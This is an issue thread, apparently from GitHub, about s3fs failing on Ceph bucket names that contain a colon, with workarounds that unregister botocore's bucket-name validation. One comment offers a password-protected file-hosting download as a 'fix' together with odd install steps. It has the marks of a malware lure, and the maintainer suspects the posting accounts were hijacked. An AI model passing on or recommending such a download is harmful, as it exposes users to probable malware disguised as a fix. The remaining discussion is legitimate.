Allow disabling of bucket validation

[timj]

In our organization we use S3 bucket names with : (such as s3://domain:bucket/path/file.txt) which come from our Ceph system. If we try to use s3fs with such a bucket name we get an error:

botocore.exceptions.ParamValidationError: Parameter validation failed:
Invalid bucket name "rubin:rubinobs-lfa-cp": Bucket name must match the regex "^[a-zA-Z0-9.\-_]{1,255}$" or be an ARN matching the regex "^arn:(aws).*:(s3|s3-object-lambda):[a-z\-0-9]*:[0-9]{12}:accesspoint[/:][a-zA-Z0-9\-.]{1,63}$|^arn:(aws).*:s3-outposts:[a-z\-0-9]+:[0-9]{12}:outpost[/:][a-zA-Z0-9\-]{1,63}[/:]accesspoint[/:][a-zA-Z0-9\-]{1,63}$"

with botocore we disable validation using:

>>> from botocore.handlers import validate_bucket_name
>>> client.meta.events.unregister("before-parameter-build.s3", validate_bucket_name)

And this works if I use s3._s3 to access the S3FileSystem object's internal boto client object.

Is there a way to do this without having to use an internal property?

[CoZmoTheGod]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[martindurant]

@AnaSousa314 @enricozao @CoZmoTheGod : you all appear to be real people, perhaps some automation glitch has happened?

[martindurant]

I did report them first, but thought I would give the accounts the chance to fix something in case they have been hacked or something else happened. I didn't get as far as looking at the contents of the link.

[martindurant]

To answer the original question:

Is there a way to do this without having to use an internal property?

I am not aware of any. One would think it should be possible to pass an initializer argument to the client, but I don't see any such option.

[timj]

Thanks. Sounds like I'm not the only Ceph user noting this problem. There is discussion in boto/botocore#3234 and boto/boto3#2891 but no resolution. I'm confused as to how anybody is using Ceph buckets.

[cbodley]

I'm confused as to how anybody is using Ceph buckets.

hey @timj. for what it's worth, this is only an issue when using tenant namespaces. ceph designed that feature around openstack's swift protocol where, unlike aws s3, the bucket namespace isn't shared between accounts. it's never been fully compatible with aws s3, which is why many clients have trouble with it

[timj]

Unfortunately our entire organization is based around tenant namespaces. I have worked around the problem by forcing s3fs to try to open a path that doesn't exist (which constructs the boto client) and then hacking the boto client using _s3 and using it with the path I really want to read... [Yes, this is all terrible]

[timj]

(I've just had it pointed out to me that there is a public s3 property that I can modify so that's a bit better)